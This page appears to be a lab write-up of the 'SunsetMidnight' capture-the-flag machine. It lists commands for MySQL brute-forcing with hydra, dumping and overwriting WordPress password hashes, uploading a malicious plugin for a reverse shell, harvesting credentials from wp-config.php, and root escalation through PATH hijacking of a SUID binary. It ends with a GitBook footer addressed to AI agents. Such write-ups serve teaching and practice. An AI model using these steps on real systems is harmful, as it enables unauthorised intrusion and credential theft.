> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/sunsetmidnight.md).

# SunsetMidnight

## Nmap

```
sudo nmap 192.168.104.88 -p- -sS -sV   

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% hint style="info" %}
Add the machine IP to map to sunset-midnight in /etc/hosts.
{% endhint %}

After making the above changes when browsing to port 80 we come to a Wordpress page.

![http://sunset-midnight/](/files/-MXLmrQkmFjcQPcocO0Z)

After scanning with WPScan I was unable to proceed with the found admin accout. Instead turning our attention to MySQL which we find does not block remote connections we can begin to brute force the root account.

```
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.104.88  
```

![](/files/-MXMHmqLezpwixVf61JX)

We can then log into MySQL with the discovered credentials:

```
mysql -u root -p -h 192.168.104.88  
```

![](/files/-MXMIEoMiVPBgf9BNFPp)

From here we can list databases then select the Wordpress database and extract information from the wp\_users table.

```
show databases;
use wordpress_db;
show tables;
select * from wp_users;
```

![](/files/-MXMIX4xYs5v1Y2YuY-9)

We now have the admin hash of: `$P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/` I tried cracking with `hashcat` using rockyou.txt and had no lucky. Luckily we are root on this session so we can actually update the table and change the password to something that we know.

The following website can be used to generate a has for wordpress: <https://www.useotools.com/wordpress-password-hash-generator/output>.

After doing so run the commands below in MySQL to update the password for the admin account.

```
update wp_users
set user_pass = '$P$BDAEMk6QF.8MP6zmnILMLvQpLnNxw5.';
```

![](/files/-MXMNkY6jZnphHpVjODT)

We can then move to the /wp-admin/ directory on the webserver and login with our new credentials.

![http://sunset-midnight/wp-admin/](/files/-MXMOJpT5V9T0SOAAO1Z)

From here we are going to upload a malicious plug-in that will give us a reverse shell. We will be using wordpwn.py to achieve this: <https://github.com/wetw0rk/malicious-wordpress-plugin>.

After download run the scripts as per instructions on the GitHub page and then once created upload the malicious.zip over at: <http://sunset-midnight/wp-admin/plugin-install.php>.

Once uploaded activate the plug-in on the plug-in page then browse to the following to execute: <http://sunset-midnight/wp-content/plugins/malicious/wetw0rk_maybe.php>.

![](/files/-MXMbKmUvfgngHmUzdnf)

We are now 'www-data'.

![](/files/-MXMbUmfIFTrQ9y2dOsc)

Manually enumerating the target machine we know Wordpress is installed and as such the wp-config.php exists.

![](/files/-MXMdQMMByjMZWTyore8)

Reading the contents of wp-config.php gives us credentials for the user jose.

![](/files/-MXMdbFE_1ogoo6iGn5Z)

Whilst the password does look like a MD5 its important to note that this file the credentials are normally stored in plaintext. Given this we can attempt to switch to the jose user with these.

![](/files/-MXMeX6x3dcW4nM3unnu)

From here wen can use `ssh-keygen` to create a RSA key so we can then sign in with SSH for a much more usable shell.

```
ssh-keygen -t RSA
```

Keep hitting enter until the key is generated. Once done so copy the contents of the key from `/home/jose/.ssh/id_rsa` over to the attacking machine.

![](/files/-MXMf0XSuJt2NLZbWOSl)

We can then use the following command to set the correct permissions on key on the attacking machine:

```
sudo chmod 600 id_rsa
```

Then login as jose over SSH.

```
ssh -i id_rsa jose@sunset-midnight
```

![](/files/-MXMfDkVlPiDM50uHtcL)

Running `linpeas` on the target shows the binary /usr/bin/status has the SUID bit set.

![](/files/-MXMuOkHlp6NIk1MqJsG)

Running strings on the binary

![](/files/-MXMuYo-2eT890zdkbGr)

Looks like the binary is trying to run 'service' without the full path of the binary. Knowing this we can create a malicious service binary and export the path so our malicious binary is executed first.

In the home directory of jose run the following:

```
touch service
echo '/bin/sh' > service
chmod 755 service
```

Once completed export the new path where /home/jose: is the starting path.

```
PATH=/home/jose:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
```

Once completed execute status and we should land a root shell.

```
/usr/bin/status
```

![](/files/-MXMvfZb_dbh0lITLnjd)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/sunsetmidnight.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
